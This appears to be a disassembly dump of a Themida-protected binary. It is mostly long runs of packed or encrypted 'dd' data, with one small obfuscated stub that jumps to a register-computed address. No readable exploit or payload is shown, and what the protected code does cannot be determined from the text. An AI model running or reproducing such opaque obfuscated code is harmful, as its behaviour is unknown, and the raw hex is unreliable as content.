		dd 0B8C8CF5Bh, 0FD24D01Dh, 56CA5DBFh, 607F634Dh, 0B9CA5DC0h
		dd 0B9D5DBE8h, 5DC0160Dh, 35626FCAh, 788FEBC7h,	2FA7D9BEh
		dd 0E4EF15C2h, 5B5680DCh, 9D36CE70h, 0F7A36126h, 257700A7h
		dd 0DDE323A3h, 5D9FEAF9h, 296E43CAh, 0BB43FCD7h, 19B5B86Eh
		dd 18A808BBh, 0B07A7B33h, 0AF4D3A58h, 83506703h, 0EB09BA74h
		dd 88433562h, 1CA48C76h, 0E3FABAFFh, 7E0A9B29h,	46809F43h
		dd 0C8D9CA5Dh, 97E48CFBh, 3ACA5D4Ah, 0D7BE2C6Ah, 630DD649h
		dd 951ED668h, 16DBF602h, 5DE3B3B2h, 0CB70CCAh, 0AB091CA4h
		dd 767CB058h, 0A1BD8111h, 5BF4100Ah, 0ED727155h, 0F6CBCA5Dh
		dd 0C7DF7991h, 5DED041Bh, 0D7015DCAh, 832D962Dh, 0B054EEE7h
		dd 0ECD07017h, 0ECFD24D0h, 0FA56CA5Dh, 0D0B023D9h, 0E38DFA02h
		dd 0D25B29FFh, 7C5902D2h, 49AB5580h, 0FEC05480h, 7A99369Eh
		dd 0E7E00BCh, 6BB3FBC5h, 68983419h, 8465B65Ch, 39892513h
		dd 9347143Eh, 0F01077B9h, 0A22F4BE6h, 60515098h, 19AAC260h
		dd 1EBE06AAh, 983154h, 432BE7B0h, 0D2907A8Bh, 0C7C4DB07h
		dd 941DC260h, 0ECF9F640h, 54F5CAD7h, 80E0C6B1h,	31553h
		dd 0C9736100h, 679D3539h, 0CA44539Bh, 619B3838h, 301CDB1h
		dd 371D450Fh, 0D1AD659Fh, 0E905FD07h, 0C4AC56ECh, 3C0BF709h
		dd 0E84D5480h, 0D0A6C25Bh, 0AD04D2CCh, 49B22220h, 670B6453h
		dd 9AB6FAC9h, 1280073Dh, 7F85522Eh, 0EE18AC85h,	35B43515h
		dd 1AB5C3D4h, 0A3F2F1D5h, 234BCA5Dh, 943F94AEh,	7E86502Ch
		dd 12917919h, 0B2E55F6Eh, 0B7F90BC6h, 190374E7h, 17BB03C6h
		dd 953E07EDh, 169E7A02h, 0F6132AB0h, 33455250h,	9AC76798h
		dd 78C0CA6Ch, 0F7C1B74Bh, 0F60E089Fh, 264A665Dh, 0CE579D97h
		dd 0B93F7C9h, 0BA80F013h, 9167309Ah, 0D257A4E1h, 0D3D2F69Ah
		dd 2CC26305h, 487BB544h, 0F7DB833Fh, 9C27DDFAh,	0BC04CF58h
		dd 0B0507CE0h, 0EC0C7B54h, 7C0A63E2h, 0B02CCCC7h, 14C19D23h
		dd 4A3D16EEh, 0DFB000C0h, 0C921F631h, 11CD4C3h,	60C262E4h
		dd 0E489983Ch, 7EE2C262h, 7720B351h, 0CB44E89h,	0E41D44B0h
		dd 2D76C262h, 0AC10B05Ah, 0F8FC04D0h, 0E49AC92Fh, 0DEF3C262h
		dd 0E20FC7B9h, 0E40B1ABEh, 4F64C262h, 62E47AA9h, 0CF29E5C2h
		dd 9C7FF2EAh, 7A368D16h, 0A94BF9D6h, 0C9736020h, 87F5A22Bh
		dd 0FD07CFABh, 1CC6D8Ah, 3CB0000h, 2481DF04h, 768C49C9h
		dd 791EB57Eh, 94C212A3h, 48577BAEh, 0A1CA5D7Ch,	0D157C410h
		dd 7A404255h, 4F6B7A5Eh, 0EFC4CA5Dh, 6980DCE4h,	0B7C55AFh
		dd 8577C92Dh, 8C14D25Fh, 7E6A020Fh, 0C25ABA67h,	0F6E1F3C0h
		dd 0D9E9AE31h, 2B1211B5h, 566BC25Ah, 247B436Dh,	680B171h
		dd 0B5AC1898h, 0EC25B22h, 8E2AD2C5h, 81CB7E46h,	465D63E4h
		dd 5D901708h, 6898FFD4h, 0AD57806Dh, 58876B47h,	0B1C25A3Ah
		dd 0A020B320h, 3D9A17BCh, 6F64ED07h, 0B93BC111h, 43EBA7F0h
		dd 394AE27h, 0B115DAF5h, 0C25A3AB2h, 0A30DB60Bh, 12F20CC7h
		dd 3AA3C226h, 0A7FCC25Ah, 0C779541Ch, 89F3A42Dh, 5A6A25ADh
		dd 53342B97h, 448DC25Ah, 6E2B090h, 3B12F781h, 0F8D5179Bh
		dd 2CEAA4Ah, 1F1CA203h,	70639C2Fh, 8D4CC594h, 2E762AC0h
		dd 2FF2FABFh, 7819CA5Dh, 3C12D103h, 29C09DEAh, 669C3519h
		dd 0A6D2C58Eh, 0A50CC62Bh, 54DD172Dh, 2FAD857Fh, 0F598600Dh
		dd 724E854Eh, 4C7BAA4Eh, 0FFD46D1Ah, 0B16DD0D5h, 0D5C2CBAAh
		dd 519E3935h, 1A677EA5h, 0F9CAD76Dh, 0DF7B1FFBh, 879E4AF4h
		dd 0E06D1A67h, 1FB4C4D3h, 0AC58E9E6h, 378C5C5Eh, 0B2B11579h
		dd 0B6D1A3Ah, 0D7CEFAB6h, 306D1A39h, 6C88F4A3h,	3622E262h
		dd 746B579Ah, 0CD6D1A3Ah, 0A035CF04h, 2FA9A645h, 9CC32F8Bh
		dd 0F56D1A3Ah, 0E702DBACh, 836FBC17h, 6D1A3A5Ch, 0D9D7ECB5h
		dd 0FD926C9h, 6E19F5C5h, 50941C24h, 0F35AAF0Bh,	366A666Eh
		dd 0DA9EAA2Dh, 0FE00CBADh, 8F7AF2C2h, 2997C915h, 96FAA65Eh
		dd 1A993332h, 50378C6Dh, 112Fh,	0DEED9100h, 33613364h
		dd 5D3F458Dh, 1C802640h, 2D2A96Bh, 0F3DEFAFAh, 0EC7B351h
		dd 0E8E410F4h, 16C09C58h, 0ECEA16EEh, 13C09C58h, 0D8EF0BE9h
		dd 18BAA65Eh, 687220E4h, 509Eh,	68243C89h, 627Bh, 56241489h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	6855240Ch, 5D536BEAh
		dd 0C9F5815Dh, 5555515Dh, 0A4242C81h, 5A31A33Fh, 3FA4C281h
		dd 685D31A3h, 61BAh, 81242489h,	42404h,	83590000h, 148904ECh
		dd 24048124h, 0C6C3B51h, 8108418Fh, 3B510869h, 0C8B0C6Ch
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 24148B5Ch
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFF83E9Ch
		dd 1C9981AFh, 3E359826h, 1014AFCDh
; ---------------------------------------------------------------------------


loc_625B50:				; CODE XREF: Themida_:00625104j
		mov	eax, 8023FABh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0B4h, 87h, 0C8h
		dd 1D825730h, 6A19C720h, 0CCCAE44Fh, 5C1E7B00h,	0B73B905h
		dd 0C64E8A72h, 5A9B0C11h, 8FCD1014h, 775D3471h,	0C7134665h
		dd 0FFF8B365h, 35E79531h, 0A624FC21h, 6D45E836h, 0FEE81958h
		dd 0A18F6B76h, 0EF40DA0Bh, 0E4B03750h, 0AB176934h, 823BEF63h
		dd 7A2F8970h, 0B250643Ah, 8B8D8D64h, 6A080241h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 14CC351h, 7EE82B4Eh,	8920B6E2h, 0FA27C18Dh, 0ADB52307h
		dd 0C707FA1Ah, 0FA1C0185h, 637C07h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 33D997F7h
		dd 66DA6740h, 4FBFC781h, 1AED85C7h, 7FAh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 605027C3h, 0B70F5689h, 0B5FF5FDEh, 7FA11F9h,	7F9BD8Bh
		dd 95FF07FAh, 7FA177Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0C4C35242h, 8AD4AE67h, 58E0FD9h, 0BA000000h
		dd 657063F5h, 95FF006Ah, 7FA012Dh, 6AEBC08Bh, 67125478h
		dd 0DB67E79Ch, 0C32F6977h, 0E5973316h, 26786617h, 1BB755ECh
		dd 0AA0B8CA9h, 0A8D2A15Ah, 1D149AA7h, 1F2D54B9h, 0AA6880BDh
		dd 96930519h, 57476E11h, 981DEDC0h, 0DE2EDE72h,	6C2DFBB2h
		dd 0BCA463D8h, 0E2A09286h, 0B7D1BEBh, 0EE17FD05h, 0C2DCFBA3h
		dd 71E680DBh, 0DB75F47Bh, 3CC4BEADh, 5EEE1F7h, 50911EE2h
		dd 0AE811AAh, 22000000h, 911B7F18h, 0E899F52Bh,	0A99589ACh
		dd 5B07FA2Bh, 1A98D89h,	0C38107FAh, 63DFh, 31F9852Bh, 6807FAh
		dd 81000000h, 42D09FF1h, 0E2815F0Ch, 17B358FFh,	291F34FFh
		dd 0FA12C99Dh, 0BD895E07h, 7FA14A1h, 0ED77F681h, 0DB90597h
		dd 8119731Eh, 254779EEh, 870F5255h, 6, 1D7D958Bh, 815A07FAh
		dd 0C7B2B6EEh, 0E5952949h, 5607FA1Bh, 0C801B966h, 293B048Fh
		dd 0FA04A5BDh, 4EF8307h, 269958Bh, 0FF8107FAh, 0FFFF9CBCh
		dd 0FFA2850Fh, 800FFFFFh, 6, 1F5D8D8Bh,	8D8D07FAh, 8024357h
		dd 89D78B66h, 0FA27C18Dh, 0BD8B6007h, 7FA27C5h,	6488BF66h
		dd 185C761h, 2807FA1Ch,	81000063h, 0FAE05CCEh, 0ED85C753h
		dd 7FA1Ah, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 4A37C353h, 5E54C381h, 0EF816AFEh
		dd 61EBDD5h, 2429B5FFh,	6A07FAh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0FDB683C3h, 893E590Ah
		dd 0BD8BD38Bh, 7FA2D25h, 177D95FFh, 6A07FAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 67415CC3h
		dd 95FF006Ah, 7FA012Dh,	4AEBC08Bh, 0A79412FBh, 16407C46h
		dd 352B51E2h, 0D67E746Fh, 3E9696FEh, 0D7115128h, 37D8A028h
		dd 394C7057h, 3C51AD54h, 0CE3709F2h, 0F6D064B0h, 0AEFE9E1Bh
		dd 0E7ADFA6Dh, 0A099BD6Eh, 7A4D62E3h, 4068A6DEh, 8AE70942h
		dd 47214B6Ah, 0A953A890h, 595DB160h, 56AEBEBDh,	565D5832h
		dd 0AD26B132h, 6926B8A4h, 0D219B125h, 5428B132h, 56BAB135h
		dd 89DCD752h, 56CF926Fh, 5CBFD132h, 75ABB132h, 79B36548h
		dd 96C9CAF4h, 80FEEE8Bh, 0B9C5953h, 0DD3DB130h,	375802C5h
		dd 0D737B132h, 3D85BBFDh, 583CD010h, 0E5EAB132h, 7E9D1414h
		dd 856F58D9h, 4084212Ch, 36AEB1CBh, 5657B9DAh, 0C937CE32h
		dd 5202EC51h, 56EF58C0h, 0D8AEB132h, 0F52FE46h,	5659353Dh
		dd 0EEC8B132h, 56367DFDh, 4721BE32h, 0BFD5B132h, 56EAB13Eh
		dd 0F695792Bh, 8C2B79D2h, 93215047h, 0BD56B132h, 5657D192h
		dd 56BA323Dh, 5A3CB132h, 52EAB132h, 0A45397A0h,	9E072609h
		dd 0A2D9F296h, 56AED250h, 607EB132h, 68D6C5F6h,	562EAB77h
		dd 56E25832h, 732CB132h, 38EA24DDh, 565D38A2h, 56A6313Dh
		dd 0DD58B132h, 56ABB130h, 562CD052h, 56EA4832h,	3675B1C7h
		dd 56BABADBh, 0D9CFBE32h, 3FEE24EDh, 637511E0h,	56A45952h
		dd 278FB132h, 16A638B5h, 105A57F4h, 53D48E86h, 5BB4EB50h
		dd 19AEB132h, 0F7D6963Eh, 0D53C20DDh, 0F41A8153h, 561FD053h
		dd 56754832h, 56A8303Dh, 5BB4B132h, 0A6AEB132h,	4AC9384Bh
		dd 2B971B6Fh, 48524104h, 5003B132h, 4D75B132h, 0A5945C71h
		dd 595DB168h, 56AEA7B1h, 5FBED132h, 9CABB132h, 0A8B197F2h
		dd 0E4FD6026h, 56753F3Dh, 56DBB132h, 5AD7BE32h,	59AEB132h
		dd 5657B7B2h, 5624BE32h, 56D5B132h, 56E25832h, 92BBB132h
		dd 9F1D9C7Eh, 565D1FB6h, 56AEB9DBh, 0F6155032h,	0C0681E00h
		dd 59D5B133h, 56EABCB2h, 0D713D132h, 0D7FC7CF8h, 0C9C858FBh
		dd 30CED03Dh, 0FDDA7AB3h, 56ABA5DBh, 2C495D32h,	91295F45h
		dd 70447232h, 0AF53C669h, 3F94B3E3h, 56AED0EBh,	5957B1CEh
		dd 56ABA2BFh, 56DB5832h, 85B3B132h, 0C1CE7230h,	2A0A870Fh
		dd 0ECF920B8h, 565BB132h, 56574832h, 437E3152h,	9E0D3054h
		dd 56EAD005h, 5675B7DBh, 3B775532h, 568E7765h, 56AE4932h
		dd 0A5DCD752h, 37FD68B2h, 56D5B130h, 12EAB132h,	86043C69h
		dd 56B72A8Fh, 0D3DFCEFBh, 0D01DF80Dh, 40D3BEADh, 0BFABB132h
		dd 56D5B123h, 946F96A2h, 54C19A98h, 0BDF0BE3Ch,	0CF578C71h
		dd 0BFAEB1A5h, 5657B134h, 36303BFCh, 8E2CD858h,	57EAB335h
		dd 4775A832h, 7BBAB732h, 565D1032h, 0B9F0821Dh,	90A6B8C6h
		dd 6F2F6377h, 0EDB3A9EEh, 0BFB1C075h, 5675B120h, 2BF51E7Ch
		dd 10A2A765h, 58B38236h, 3E8B58A2h, 56CA2D14h, 56B4D132h
		dd 9561D132h, 5675BFDAh, 0BFAE8732h, 7846D73Ah,	638B8E63h
		dd 30EF720Bh, 87C558Ch,	9455D153h, 56F858A8h, 0DBC5B132h
		dd 178F1DAh, 1DFD80E7h,	0D28A5DD5h, 6E1D1BA9h, 36ABB153h
		dd 0D72E3A52h, 941486EAh, 5E9CD028h, 0EBBAB132h, 0CDD857FEh
		dd 37080947h, 47BEB132h, 0B9ABB132h, 0A6EA87E0h, 0F763E324h
		dd 0ED89455h, 0F859BDF9h, 51B4B132h, 0AEAEB132h, 0CDA577F6h
		dd 56AB293Ah, 56D23D3Dh, 0D0E5B132h, 5675B133h,	0DBAB1CAh
		dd 0D852B130h, 56AEB135h, 5656303Dh, 365EB132h,	9C6A59B3h
		dd 0DDBAAF1Ah, 5614EBE5h, 51B8EA32h, 595DB132h,	56AEB0BDh
		dd 56574D32h, 56ABB9DBh, 0CD40A132h, 6C27BA97h,	519CE375h
		dd 0F5BAB132h, 0A943E892h, 5227A4FEh, 565D5816h, 9D31B132h
		dd 0F1B3709Ah, 15184C66h, 0FD4B61B3h, 4253CA2Eh, 0BA5DB132h
		dd 8E15FB87h, 0D2C0A703h, 0A698135Fh, 4A5A5F5Bh, 0CB414B17h
		dd 62DEB53h, 56BABDDBh,	4800532h, 0C8779111h, 0FCC2FD4Dh
		dd 37F122A9h, 0EBC1D6A2h, 0EF6AB280h, 23D9EECCh, 3727CA38h
		dd 0CA05EBA7h, 56AEB7DBh, 0E2D07732h, 0D688E3EFh, 423C2FE3h
		dd 1AEAB132h, 6EEE1BA7h, 0B2CDC723h, 64EB37Fh, 2AC1FF7Bh
		dd 0CBDCEB37h, 72EF3A53h, 56D95836h, 0EBFEB132h, 0EFF5B280h
		dd 2316EECCh, 56D6CA38h, 0E9A1D152h, 0BFCBD0CAh, 56ABB122h
		dd 1153D0FAh, 0B5F82C46h, 692B28D2h, 0DD0E43Eh,	0BF6B40B2h
		dd 56AEB13Eh, 8595BC96h, 79A5B822h, 1DCF740Eh, 1263D0AFh
		dd 5A9CB516h, 82BAB132h, 169EC34Fh, 3AB10F4Bh, 0E6C7B07h
		dd 0B9F3E953h, 5D0F34CEh, 0B14CB0DAh, 0D5478CA6h, 89C48832h
		dd 0D73B441Eh, 0BF07A9D4h, 5657B134h, 0FB6F6664h, 3748C2D0h
		dd 1263E968h, 425B516h,	56BABEDBh, 0B7155A32h, 4B5A7634h
		dd 4F37D2A0h, 83270EECh
		dd 503C803Dh, 0E0EAB132h, 14F89585h, 0EE2EB61h,	565DB8DBh
		dd 0DE671232h, 29687A2Bh, 56ABA84Ah, 59D5B1C7h,	56EA9BB2h
		dd 5D9CD132h, 38BAB132h, 0AA43B68Ch, 0D9724719h, 45BE6F4Bh
		dd 1DABB132h, 90C38D67h, 3DE44DEh, 5FF40E1Dh, 0D3D18396h
		dd 563CD67Ch, 5847D132h, 6857B132h, 0AC1433DBh,	0E963D4D5h
		dd 3CEBE1BCh, 6EA931C2h, 0AFBAB153h, 59B4B132h,	87AEB132h
		dd 0FF7095DFh, 49EE34E2h, 3752E837h, 56EA803Eh,	56675852h
		dd 626DB132h, 0D647197Dh, 0B4C3B7DDh, 23D5BE04h, 0B976D9ABh
		dd 36D5B153h, 56E93F3Dh, 0E97AB132h, 56BAD0E3h,	56553F3Dh
		dd 0DAA1B132h, 5657B130h, 56ABD052h, 0BFD5B1CAh, 56EAB137h
		dd 48195A8Fh, 56BC58C9h, 0B9E8B132h, 0DBBB1417h, 0D858B132h
		dd 56ABB138h, 565ABE52h, 0EAB132h, 5675D06Ah, 56BF383Dh
		dd 0AE3DB132h, 56CFEB62h, 0E158D132h, 372D04C9h, 0BFD5B1CEh
		dd 56EAB137h, 4F28743Bh, 59BAB164h, 565DA3B8h, 56A35832h
		dd 1B75B132h, 0E4738488h, 29DCFB17h, 0AF9B5DF0h, 0D27AB132h
		dd 56BAB13Ah, 565F373Dh, 37CEB132h, 53BEB132h, 0F2ABB132h
		dd 4209E4D9h, 0D4E5B132h, 5675B133h, 0BFBAB1CBh, 565DB135h
		dd 0C2569387h, 59DBFDC7h, 56ABA2B9h, 0AF5ED132h, 56EAB8DAh
		dd 4382E132h, 0FE06F7D5h, 3703DE53h, 0D7A1B132h, 5657B137h
		dd 5773152h, 0BFD5B153h, 56EAB13Dh, 9706D0B6h, 166F752Fh
		dd 6103FA9Bh, 59A7553Fh, 5657B0BBh, 56AB4832h, 0AAD5B1CEh
		dd 56EAB8DBh, 768E7632h, 0F1A31D51h, 565D4CC7h,	0BFAEB1C7h
		dd 5657B135h, 0F6B6F4A1h, 56157FB5h, 56E75832h,	0EBD6B132h
		dd 0F3C1C1CEh, 0FB2A7E99h, 567AB110h, 5ADDBE32h, 59ABB132h
		dd 56D5B7B8h, 566CBE32h, 5675B132h, 0BE3BD132h,	55FB5099h
		dd 7FE1BC8Dh, 5657D00Fh, 56B8333Dh, 583CB132h, 1EEAB132h
		dd 54BE9713h, 0B3962139h, 7D9E432Ch, 0AEAEB1BDh, 56AFB132h
		dd 56AB4D32h, 5753BEC7h, 0AFEAB132h, 0D715B132h, 92A9D2C2h
		dd 81DCD12Ch, 5C3783CDh, 3636D0CBh, 37753A54h, 5E3CB132h
		dd 84EAB132h, 838CC4D0h, 36394B11h, 3CAF3054h, 8520E84h
		dd 56369F83h, 56AB4832h, 56D5B9DBh, 385E5632h, 0F37E6CDEh
		dd 59BAB1C9h, 565DA2BFh, 5B23BE32h, 0BF57B132h,	56ABB13Ah
		dd 0CA8B7F2Fh, 0CE73347Eh, 5680B132h, 573DBE32h, 0AA5DB132h
		dd 0ECCEB132h, 7583A3E2h, 56ABD0CAh, 56D4353Dh,	5616B132h
		dd 56665832h, 0DF76B132h, 0B369B59h, 0A4E6159Dh, 0E35DD0EFh
		dd 6694C748h, 0BFD5B1EFh, 56EAB13Ah, 2670A12h, 18DFDEFEh
		dd 593DB132h, 56AEB1BEh, 0ED31E332h, 37F0E4B3h,	4B5B132h
		dd 30B36EB9h, 37769A8Dh, 0D5B5B132h, 565DB13Eh,	0FB11D752h
		dd 56D1BE59h, 37ABB132h, 0D7DAB132h, 56EAB128h,	5661373Dh
		dd 5953B132h, 105DB132h, 5175264Bh, 9B974627h, 0EB560A23h
		dd 56D5FC94h, 56F43D3Dh, 0D47AB132h, 56BAB12Ah,	565DA2DBh
		dd 0E6477D32h, 8854B43Bh, 0BF00FEFFh, 73711BA7h, 876976BEh
		dd 5A9CB132h, 46BAB132h, 0FA62335Bh, 6CB145C7h,	5606AE03h
		dd 56B85832h, 0B20CB132h, 1C047D17h, 6C8E40B6h,	0D708ADD7h
		dd 315A7CB4h, 0BFAEB189h, 5657B121h, 0B2657215h, 6F80C7E2h
		dd 8B61CF11h, 1462D072h, 563C1074h, 0D1524832h,	56AEB13Eh
		dd 70ECD752h, 5620BEE0h, 37D5B132h, 4703B132h, 0DD75B132h
		dd 86712D59h, 42E8F545h, 36FDC794h, 231F2C80h, 5D42B132h
		dd 61D5B132h, 0DF146207h, 0CF6A58D7h, 56BA01E0h, 565C323Dh
		dd 5652B132h, 5CD5BE32h, 0BFABB132h, 56D5B137h,	93EE852h
		dd 5975B180h, 56BAB0B7h, 565D4832h, 8F9E152h, 5658586Bh
		dd 1A39B132h, 0E30FE091h, 6BE546F8h, 6B774C4Ch,	56BAD001h
		dd 56553E3Dh, 0DEA1B132h, 5657B130h, 56ABD052h,	56D54DCAh
		dd 0DD3A3A52h, 5675D0F4h, 56BB333Dh, 56A4B132h,	0E9A1D132h
		dd 565D58E5h, 3A12B132h, 613D8BF6h, 1DD629D5h, 56705853h
		dd 0D218B132h, 562D82BBh, 4E25BE32h, 0BF57B132h, 56ABB121h
		dd 0E8743FCCh, 0E36F31E2h, 0D63115D9h, 57969DDBh, 56E9AE1Ch
		dd 56A75832h, 0F7FAB132h, 36D7D711h, 3602D537h,	0BF52D7CAh
		dd 5675D0DEh, 6B04D752h, 565DD0ACh, 56BE5852h, 50ABB132h
		dd 73FCE39Eh, 0A0A6712Fh, 2B554AA6h, 56140D75h,	56BA4432h
		dd 8FD6D152h, 0BFCFD052h, 5657B13Dh, 0BEC6B55Ah, 0FC3CE712h
		dd 0A9766EB2h, 37AD30BEh, 0AE31D152h, 0B45253B3h, 37CFA318h
		dd 56AFB132h, 56AB4832h, 56D5A1DBh, 5762232h, 0BF07F414h
		dd 0A0A30CDCh, 4ABA8A10h, 59AEB106h, 5657B9B4h,	542EBE32h
		dd 36D5B132h, 0BFEAB153h, 5675B126h, 0D0D793DAh, 0FE05C513h
		dd 971761BFh, 27A7C1D9h, 6A36CFEFh, 56DB3C3Dh, 598AB132h
		dd 5675B1B1h, 5630BE32h, 375DB132h, 5657B132h, 56574D32h
		dd 56ABBEDBh, 39C73D32h, 21EFF4F9h, 0D9B44451h,	4C94B3A6h
		dd 50B4B132h, 2AAEB132h, 0D59B79E7h, 59ABB1B6h,	56D5B0B5h
		dd 56EA4432h, 5675BFDBh, 0AA291A32h, 9B2ADEFCh,	0A4669A5Ch
		dd 5648A16Fh, 5A25BE32h, 59D5B132h, 56EAB7B2h, 56FCBE32h
		dd 56BAB132h, 9CD6D132h, 36AEB153h, 9909B8Bh, 37583B10h
		dd 0DADAB132h, 56EAB13Fh, 5675B9DBh, 0E2361532h, 52F3A68Fh
		dd 36AEB169h, 5657A1DAh, 2C8ED332h, 9F659874h, 29AF94FDh
		dd 17261C1Ch, 903BD71Eh, 0BE0692FAh, 56AEB13Bh,	0CB7E0C8Ch
		dd 3D76BDFFh, 5656BE0Ch, 0DEAB132h, 0AA75B153h,	373D0252h
		dd 0DD3DB132h, 0D75BD1CCh, 4DA6A0FCh, 56CAD064h, 0DDB3D132h
		dd 56EAD0F3h, 5673303Dh, 30DAB132h, 37FCBF8Bh, 5657B132h
		dd 57DEBE32h, 0AFABB132h, 5629B132h, 56E75832h,	548CB132h
		dd 0E208F053h, 606BCA79h, 563B1A09h, 56574D32h,	30260152h
		dd 37CD5C8Bh, 56EB3B3Dh, 5689B132h, 56B55832h, 1F0B132h
		dd 0D624B434h, 3E4D31CDh, 0E522B576h, 59D5B174h, 56EAA4BBh
		dd 5C9DD132h, 4ABAB132h, 5960D730h, 9639D931h, 0DD31EF1Fh
		dd 56ABD0F0h, 0BFD5B1CEh, 56EAB13Dh, 3F9D9DD7h,	88C42F8h
		dd 884B5506h, 368DD118h, 0BF803A54h, 56ABB13Fh,	324B5075h
		dd 0B71E36C4h, 0FD5D19FFh, 56BAD0F2h, 5655363Dh, 59CEB132h
		dd 5657B1BDh, 0E7CBD032h, 0F36ED713h, 56EAD0A1h, 0AF75B1C7h
		dd 5A53B132h, 805DB132h, 14CA1BE7h, 52CAA777h, 5628D732h
		dd 56D54432h, 56EB343Dh, 568CB132h, 56BA4932h, 0FFBA3152h
		dd 56AED0CAh, 5657BADBh, 53434932h, 59ED970Eh, 0E9AFD4E6h
		dd 0D77AD152h, 56BAB132h, 0E84B2F8Dh, 0D8A1D05Ch, 5657B134h
		dd 69E947B3h, 56B4A6E0h, 56EA4432h, 5675B4DBh, 9A4C2A32h
		dd 565D7523h, 56AF3D3Dh, 56A2B132h, 0E1A4D132h,	56DB58EDh
		dd 75A4B132h, 57004B57h, 0C9FA8AE7h, 0AF1A01D5h, 0BFAEB153h
		dd 5657B135h, 13C5CEB7h, 5691D6F8h, 5003D132h, 6A75B132h
		dd 87D84E20h, 564E58E7h, 8C19B132h, 0A187FA69h,	26B19A7h
		dd 7DE41FC8h, 4B621CE7h, 5675D0B7h, 56BAA0DBh, 0EB086332h
		dd 0D5B617BCh, 8EE61BC2h, 0B503CFDCh, 56D588D8h, 9550D752h
		dd 567B59B1h, 359EB132h, 4BE75422h, 0A3ED523Dh,	1A862A93h
		dd 56ABB8DAh, 0B784A932h, 508CEC32h, 0D2C0854h,	36BAB153h
		dd 307B59B2h, 37732D8Ch, 5937B132h, 56CA7B8Dh, 56C15832h
		dd 28A6B132h, 229C094Ch, 0ECBFC732h, 46717C8Fh,	7030E226h
		dd 565719C8h, 56A13C3Dh
		dd 533CB132h, 63EAB132h, 91840904h, 0D8B5B132h,	565DB13Ch
		dd 56AEB8DBh, 26AAC532h, 8A7A3A20h, 56D51382h, 56EAB4DBh
		dd 71A03432h, 56BAB682h, 56555852h, 734EB132h, 0F9FF5B42h
		dd 0A720140Bh, 0BFD5B153h, 56EAB121h, 82F31756h, 0A5B97950h
		dd 196EFFABh, 1B397A83h, 56C2206Fh, 0E9A4D132h,	0D6DAD1C3h
		dd 56EAB132h, 5675D053h, 36BAB1C7h, 565DB6DAh, 0F01E9132h
		dd 0B8782F28h, 0DBCA58B3h, 0AE8BDC3Bh, 0BFEAB153h, 5675B138h
		dd 0FE7FE368h, 192BFBE2h, 56AEA568h, 565F3E3Dh,	0D2A4B132h
		dd 56D5B130h, 56EAD052h, 5675BFDBh, 709BF932h, 0C656B3F9h
		dd 0A4B0541Eh, 56D89AF1h, 0E5CB4D32h, 0A554D74Ah, 568BCE13h
		dd 56754432h, 880DBE52h, 0BF5DB153h, 56AEB126h,	96AF4F52h
		dd 63C886B6h, 0A944B6A5h, 88B00899h, 5C301F34h,	5353B132h
		dd 0D5DB132h, 45F6D4DBh, 42BEB132h, 1FABB132h, 928782B1h
		dd 0F6AA27E2h, 0EE4384B2h, 0BD476C3h, 56E496C6h, 5B47D132h
		dd 0C57B132h, 16C1C0F5h, 2FCC8706h, 0FC78B1C2h,	5675D0CEh
		dd 56BB3B3Dh, 56A5B132h, 56BE5832h, 9104B132h, 1B0899A2h
		dd 0D4B454A3h, 8E69B1B5h, 56755B32h, 56BAA1DBh,	7A6E5432h
		dd 6D78048Ch, 19DEE9B9h, 2A5EF505h, 0AAD5B12Bh,	0D9E5B132h
		dd 5675B128h, 5634BE52h, 0BE5DB132h, 56AEB13Eh,	0F1A88CA4h
		dd 74A64CF9h, 2E603112h, 56EAD06Ch, 54F3BE52h, 36BAB132h
		dd 565DD053h, 56AEBCDBh, 0D1379F32h, 2A118B3Ch,	2FA78446h
		dd 56EA6A29h, 80CBD752h, 377D3BBBh, 3DB132h, 8C5751B3h
		dd 0EF0CB5B1h, 6B296573h, 0AAD5B153h, 5D03B132h, 3275B132h
		dd 8C02483Ch, 5FF289F4h, 56AE36D8h, 5657A3DBh, 3AAF0832h
		dd 0A72B3A53h, 0FAFF0B1Fh, 134FEAB9h, 56C7786Ch, 565A5832h
		dd 0BFE5B132h, 530B0F47h, 36ABB10Ah, 3729BF87h,	56F23F3Dh
		dd 0BE15B132h, 56BAB138h, 0B3D6D78Ah, 0A8C41EB1h, 590E84F0h
		dd 56ABB1B1h, 56D5D032h, 0D16E052h, 0CDAA3163h,	56BAD069h
		dd 7833A52h, 56AE3C3Dh,	370DB132h, 5E42B132h, 9CD5B132h
		dd 602C21F7h, 0BF1124B9h, 56BAB139h, 4F76F4FBh,	31C23396h
		dd 56AE8D74h, 56AB4432h, 56D5BFDBh, 0D3500C32h,	0E06A9115h
		dd 0CC7824C3h, 56174AD3h, 56AE4D32h, 5643363Dh,	30CBB132h
		dd 0BFADC589h, 56EAB13Bh, 0B89FB7A0h, 0D412B60Ah, 0BE3DD07Ah
		dd 56AEB120h, 0B8DA3773h, 982B82ABh, 0E13E8F99h, 6ED59FD3h
		dd 0D37A034Ch, 56BAB132h, 37A5D168h, 59AEB153h,	5657B0BCh
		dd 56AB4932h, 56D5B6DBh, 0F2F81A32h, 0BBCBA5BFh, 5642B132h
		dd 5CD6BE32h, 36AEB132h, 30A43A54h, 626958B3h, 0A3D5B153h
		dd 4503B132h, 4B75B132h, 3F9ECE29h, 60F7BE5Ch, 0F3BF9E75h
		dd 767AD66Bh, 56AB3BD7h, 56C73B3Dh, 0BF8AB132h,	5675B139h
		dd 0C843FD82h, 0A98988FEh, 37D35786h, 0D458B132h, 56ABB127h
		dd 56D5A1DBh, 0AF500832h, 4325D3FEh, 870481B8h,	0AAA7A32Bh
		dd 59AEB155h, 5657B9B3h, 542ABE32h, 36D5B132h, 36EAB153h
		dd 5675BCDBh, 2FF68132h, 38AFFA5Fh, 9DED08D0h, 50BE71FBh
